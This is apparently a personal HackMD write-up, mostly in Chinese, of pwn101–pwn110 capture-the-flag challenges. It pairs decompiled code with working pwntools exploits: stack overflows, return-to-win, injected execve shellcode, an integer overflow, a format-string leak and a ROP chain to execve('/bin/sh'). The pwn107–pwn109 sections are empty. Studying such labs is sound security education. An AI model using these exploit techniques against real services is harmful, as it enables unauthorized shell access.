Try   HackMD
dir

Challenge 1 - pwn101

Buffer overflow

思路
用r2 打開檔案發現題目變數var_4h初始設為0x539,在變數var_4h不是0x539時跳到0x8f9這個func也又是有開/bin/sh可以跳到這裡代表可以能到shell

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

透過觀察發現發現可以讓user輸入的s為rbp-0x40,var_4h為rbp-0x4因此可得知只要把rbp-0x40這一段蓋掉,rbp-0x4這段塞入非0x539的數值即可pwn

payload

from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)

r.sendline(b'a'*0x40)
r.interactive()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →


Challenge 2 - pwn102

Modify variable's value

思路
用r2打開題意為變數var_4h初始為0xbadf00d、var_8h為0xfee1dead,但是第一層必須要var_4h等於0xc0ff33才能跳到0x962也就是往走向/bin/sh的第二層,在此層必須在滿足var_8h等於0xc0d3才能跳到0x96b也就是/bin/sh所在地

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

先把0x70~0x8填完,之後在0x8~0x4填入0xc0d30x4~rbp填入0xc0ff33即可pwn
payload

from pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)

r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →


Challenge 3 - pwn103

Return to win

思路
打開IDA free(原本用IDA pro看完全跨毋,加上親自實測程式運行,可以發現程式執行會有5個選項可以選其中選擇第三個選項時可以輸入,搭配IDA 看code 發現可以pwn的地方 __isoc99_scanf("%s", s1);其中輸入的s1為char s1[32]; // [rsp+0h] [rbp-20h] BYREF,在IDA中有一個func是admins_only打開來看有/bin/sh

IDA
main function

int __fastcall main(int argc, const char **argv, const char **envp)
{
const char **v3; // rdx
int result; // eax
int v5; // [rsp+Ch] [rbp-4h] BYREF

setup(argc, argv, envp);
banner();
puts(&byte_403298);
puts(a1_0);
puts(&byte_403298);
printf(&byte_403323);
__isoc99_scanf(&unk_403340, &v5);
switch ( v5 )
{
case 1:
result = announcements();
break;
case 2:
result = rules();
break;
case 3:
result = general();
break;
case 4:
result = discussion();
break;
case 5:
result = bot_cmd();
break;
default:
result = main((int)&unk_403340, (const char **)&v5, v3);
break;
}
return result;
}

general() function

int general()
{
  const char **v0; // rdx
  char s1[32]; // [rsp+0h] [rbp-20h] BYREF

  puts(asc_4023AA);
  puts(aJopraveenHello);
  puts(aJopraveenHopeY);
  puts(aJopraveenYouFo);
  printf("------[pwner]: ");
  __isoc99_scanf("%s", s1);
  if ( strcmp(s1, "yes") )
    return puts(aTryHarder);
  puts(aJopraveenGg);
  return main((int)aJopraveenGg, (const char **)"yes", v0);
}

admins_only

int admins_only()
{
  puts(asc_403267);
  puts(aWelcomeAdmin);
  return system("/bin/sh");
}

主要要把ret addr 換成admins_only的位置因此先把general()的0x20蓋掉接著再蓋掉0x8的rbp,填入admins_only的位置,在這填的是0x401555而不是第一個0x401554因為在第一個位置還有push rbp因此選擇push rbp之後的位置

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

payload

from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)

r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →


Challenge 4 - pwn104

Return to shellcode

思路
用IDA 打開看buf這個陣列大小為80但是可以輸入的值為200明顯可以bof。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  setup(argc, argv, envp);
  banner();
  puts(aIThinkIHaveSom);
  puts(aEspeciallyExec);
  puts(aCanWeGoForAFig);
  printf("I'm waiting for you at %p\n", buf);
  return read(0, buf, 0xC8uLL);
}

先塞入shellcode接著在80個把buf填滿,在填8個把rbp蓋過去,因為前面有填入shellcode要把這一段的長度拿掉不算,所以實際填入的total要是88-len(shellcode),接著在填上連上題目就會給你的ret addres

payload

from pwn import *
ip='10.10.106.113'
port=9004
r=remote(ip,port)

r.recvlines(9)
addres=int(r.recv().decode().split(' ')[-1],16)
shellcode=b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
r.sendline(shellcode + b'a'*(88-len(shellcode))+p64(addres))
r.interactive()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →


Challenge 5 - pwn105

Integer Overflow

思路
必須滿足題目(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 才能有機會跳到/bin/sh意思是v5、v6必須要是小於0x80000000也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於0x80000000才會(v7 & 0x80000000) != 0

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
  unsigned int v7; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts("-------=[ BAD INTEGERS ]=-------");
  puts("|-< Enter two numbers to add >-|\n");
  printf("]>> ");
  __isoc99_scanf("%d", &v5);
  printf("]>> ");
  __isoc99_scanf("%d", &v6);
  v7 = v5 + v6;
  if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
  {
    printf("\n[o.O] Hmmm... that was a Good try!\n");
  }
  else if ( (v7 & 0x80000000) != 0 )
  {
    printf("\n[*] C: %d", v7);
    puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
    system("/bin/sh");
  }
  else
  {
    printf("\n[*] ADDING %d + %d", v5, v6);
    printf("\n[*] RESULT: %d\n", v7);
  }
  return v8 - __readfsqword(0x28u);
}

v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值,pwn!

payload

from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)

r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()

image


Challenge 6 - pwn106

Format string exploit

思路
用GDB R2搭配,發現%6$p會撈到flag 的第一段,依此類推慢慢撈下去
(第一次自己寫fmt的payload花了有點久,之前都是直接丟到網站直接convert好)
payload

from pwn import *

r=remote('10.10.125.41',9006)
#r = process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)


r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")

r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')

for i in range(7):
    print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()

image


Challenge 7 - pwn107

Bypassing mitigations

思路

payload


Challenge 8 - pwn108

GOT overwrite

思路

payload


Challenge 9 - pwn109

Return to PLT

思路

payload


Challenge 10 - pwn110

Playing with ROP

思路

可以看到var_20h這個變數要蓋,之後再慢慢的去找 ROPgadget串syscall,

image

NR SYSCALL NAME references RAX ARG0 (rdi) ARG1 (rsi) ARG2 (rdx) ARG3 (r10) ARG4 (r8) ARG5 (r9)
59 execve man/ cs/ 3B const char *filename const char *const *argv const char *const *envp - - -

根據上面表格一個一個串

#pop rax
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rax ; ret"
0x00000000004497d7 : pop rax ; ret
#pop rdi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdi ; ret"
0x000000000040191a : pop rdi ; ret
#pop rsi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rsi ; ret"
0x000000000045b246 : or byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040f4de : pop rsi ; ret
#pop rdx
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdx ; ret"
0x000000000040181b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181d : add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401817 : fst dword ptr [rdi] ; or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401819 : or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181f : pop rdx ; ret
0x0000000000472f42 : pop rdx ; retf
0x0000000000472f3d : sal byte ptr [rax + riz - 0x75], 0x35 ; pop rdx ; retf
# find data addres
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ readelf -S pwn110-1644300525386.pwn110 | grep "\.data"
  [18] .data.rel.ro      PROGBITS         00000000004bd100  000bc100
  [21] .data             PROGBITS         00000000004c00e0  000bf0e0
#將寄存器 rdx 中的值寫入 rdi 指向的記憶體位置
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "mov qword ptr \[
rdi\]"
省略
0x00000000004340a3 : mov qword ptr [rdi], rdx ; ret
省略
#最後去尋找執行整個ROPchain 的syscall
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep syscall
省略
0x00000000004012d3 : syscall
省略

都找好位置後按造syscall table 的要求

  1. b'a'*0x28 + # 用來填充緩衝區,直到覆蓋返回地址
  2. p64(pop_rdx) + # ROP gadget: 將 RDX 寄存器設置為指向 "/bin/sh\x00"
  3. b'/bin/sh\x00' + # 實際的字串 "/bin/sh",用來開啟 shell
  4. p64(pop_rdi) + # ROP gadget: 將 RDI 寄存器設置為目標地址
  5. p64(data_addr) + # 目標地址:將 "/bin/sh" 存放在此地址
  6. p64(mov_rdx_to_rdi) + # ROP gadget: 將 RDX 的值(即 "/bin/sh")移動到 RDI
  7. p64(pop_rsi) + # ROP gadget: 設置 RSI 寄存器
  8. p64(0) + # execve() 的第二個參數:NULL
  9. p64(pop_rdx) + # 再次設置 RDX 寄存器
  10. p64(0) + # execve() 的第三個參數:NULL
  11. p64(pop_rax) + # ROP gadget: 設置 RAX 寄存器,指定系統呼叫號
  12. p64(59) + # 系統呼叫號 59:execve()
  13. p64(syscall_addr) # ROP gadget: 觸發 syscall,執行系統呼叫

payload

from pwn import *

r=remote('10.10.162.17',9010)

pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3


r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))


r.interactive()